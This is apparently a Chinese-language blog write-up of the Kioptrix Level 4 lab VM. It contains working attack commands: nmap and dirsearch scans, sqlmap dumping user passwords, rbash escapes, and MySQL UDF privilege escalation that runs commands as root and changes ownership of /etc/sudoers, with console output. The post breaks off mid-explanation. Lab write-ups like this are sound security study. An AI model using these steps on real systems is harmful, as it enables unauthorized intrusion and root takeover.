个人博客 WuTongSec
打点
nmap -sP 192.168.128.0/24 找机器
nmap -P- 192.168.128.135 端口快扫
nmap -min-rate 10000 -sV -sC -O 192.168.128.135 脚本并没有扫出 什么洞
dirsearch -u http://192.168.128.135 目录扫描 三个200
那就先上web看看 web是应该登录框
在password处有明显的报错 返回包有sql注入
sql利用
目前阶段先用sqlmap进行操作
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch --dbs
只有一个表
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members
直接--dump 所以数据
sqlmap -r /root/vulhub/kioptrix/kioptrixlevel4/sqlpost.txt --batch -D members -T members --dump
ID | Username | Password |
---|---|---|
1 | john | MyNameIsJohn |
2 | robert | ADGAdsafdfwt4gadfga== |
居然只是这样的一个东西
密码复用 ssh
两个都登陆成功了 根据提示 ?给出当前能用的命令
这里看了很多文章 尝试了很多次
基本思路就是先枚举我们能用的命令 ls cd sudo python 再去网上搜
或者在登陆的时候直接执行
ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss robert@192.168.128.135 -t "/bin/sh" or "/bin/bash"
rbash逃逸大全 - 先知社区
Linux Restricted Shell绕过技巧总结 - FreeBuf网络安全行业门户
渗透技巧——如何逃逸Linux的受限制shell执行任意命令 - -Zad- - 博客园
这两个都可以
echo os.system("/bin/bash")
ls os.system("/bin/bash")
ps 查看当前进程
提权
刚开始 sudo -l 但是不能用一个sudo都没有
然后就是suid
查看 SUID 文件:此命令会列出所有具有 SUID 位的文件
find / -type f -perm -4000 -ls
都在网站GTFOBins里面试过了 都不能用
之前进程里面有mysql 就尝试密码复用或者无密码
mysql -u root -p 无密码的mysql
mysqludf提权文章Red-vs-Blue/linux环境下的MySQL UDF提权.md at master · SEC-GO/Red-vs-Blue · GitHub
什么是UDF?
UDF 是 "User-Defined Function"(用户定义函数)的缩写。它允许你在MySQL中创建自定义函数,这些函数可以像内置函数一样在SQL查询中使用。例如,你可以创建一个UDF来执行复杂的计算或处理特定的数据格式。
什么是UDF提权?
UDF提权是一种利用MySQL UDF功能的漏洞,可以通过它在目标系统上执行任意命令,从而获得更高的权限。简单来说,就是通过MySQL数据库来执行操作系统级别的命令,进而控制整个服务器。
如何实现UDF提权?
-
上传恶意的UDF库文件:
-
攻击者首先需要找到一个可以写入文件的地方,通常是通过SQL注入漏洞。
-
然后,攻击者会上传一个恶意的动态链接库(DLL或SO文件),这个库文件包含了一个或多个自定义函数,这些函数实际上可以执行操作系统命令。
-
-
创建UDF:
-
攻击者通过SQL命令告诉MySQL加载并注册这个恶意的库文件。例如:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'malicious_udf.so';
-
这条命令告诉MySQL创建一个名为
sys_exec
的新函数,并指定它位于malicious_udf.so
文件中。
-
-
执行系统命令:
-
一旦UDF被成功创建,攻击者就可以通过调用这个函数来执行操作系统命令。例如:
SELECT sys_exec('whoami');
-
总结
就是我们上传一个库文件 里面有exec等 加上允许我们在MySQL中创建自定义函数 所以可以提权
所以先搜索一下本地的库文件的路径
john@Kioptrix4:~$ whereis lib_mysqludf_sys.so lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
操作/详解
在创建函数前要use mysql
show databases
use mysql
mysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'; Query OK, 0 rows affected (0.00 sec) mysql> select sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | root| +--------------------+ 1 row in set (0.00 sec) mysql> select sys_eval('chown -R john:john /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R john:john /etc/sudoers') | +---------------------------------------------+ | | +---------------------------------------------+ 1 row in set (0.00 sec) mysql> exit Bye john@Kioptrix4:~$ ls -la /etc |grep sudoers -r--r----- 1 john john 557 2012-02-04 09:58 sudoers
执行 whoami
命令
mysql> SELECT sys_eval('whoami'); +--------------------+ | sys_eval('whoami') | +--------------------+ | root | +--------------------+ 1 row in set (0.00 sec)
-
说明:尽管之前创建UDF函数时遇到错误,但你仍然能够成功调用
sys_eval
函数,并执行了whoami
命令,返回了当前用户的名称为root
。这表明sys_eval
函数可能已经在之前的会话中创建并加载了。
尝试更改 /etc/sudoers
文件的所有权
mysql> SELECT sys_eval('chown -R john:john /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R john:john /etc/sudoers') | +---------------------------------------------+ | | +---------------------------------------------+ 1 row in set (0.00 sec)
-
说明:通过
sys_eval
函数执行了chown -R john:john /etc/sudoers
命令,以将/etc/sudoers
文件的所有权更改为john
用户。
检查 /etc/sudoers
文件的权限
john@Kioptrix4:~$ ls -la /etc | grep sudoers -r--r----- 1 john john 557 2012-02-04 09:58 sudoers
-
说明:
/etc/sudoers
文件的所有者已经成功更改为john
用户,并且组也更改为john
。文件权限保持不变(-r--r-----
),即只有所有者有读取权限,其他用户没有写入或执行权限。
其实sqlmap的过程里面也是这样差不多的 创建函数
我们已经执行 chown -R john:john /etc/sudoers
chown
命令
-
chown
:这是Linux/Unix系统中的一个命令,用于更改文件或目录的所有者和/或所属组。chown
是 "change owner" 的缩写。
执行 chown -R john:john /etc/sudoers
后,/etc/sudoers
文件的所有者将从 root
更改为 john
,并且所属组也将从 root
更改为 john
。这意味着:
-
所有者:
john
用户现在拥有对/etc/sudoers
文件的完全控制权。 -
所属组:
john
组的成员现在也与john
用户共享对该文件的访问权限。
而/etc/sudoers定义了哪些用户或用户组可以使用 sudo
命令
我们先 chmod +w /etc/sudoers
-
文件权限问题:
/etc/sudoers
文件的权限应该是0440
(即-r--r-----
),但之前将其权限更改为0640
(即-rw-r-----
)。先把其改回去john@Kioptrix4:~$ sudo -l sudo: /etc/sudoers is mode 0640, should be 0440 john@Kioptrix4:~$ chmod 0440 /etc/sudoers
-
/etc/sudoers
文件的所有者应该是root
(UID 0),但现在将其所有者更改为john
(UID 1001)。这是导致sudo
无法运行
john@Kioptrix4:~$ sudo -l sudo: /etc/sudoers is owned by uid 1001, should be 0
我们之前把/etc/sudoers 的权限给了john是为了提权在该目录下 加入john可以执行sudo权限 但是我们现在 sudo -l root:root 用户没有/etc/sudoers这个权限 所以我们再次回到 之前musql里面把/etc/sudoers 的权限重新给root mysql> select sys_eval('chown -R root:root /etc/sudoers'); +---------------------------------------------+ | sys_eval('chown -R root:root /etc/sudoers') | +---------------------------------------------+ | | +---------------------------------------------+ 1 row in set (0.00 sec) chown root:root /etc/sudoers`:将 `/etc/sudoers` 文件的所有者和所属组更改为 `root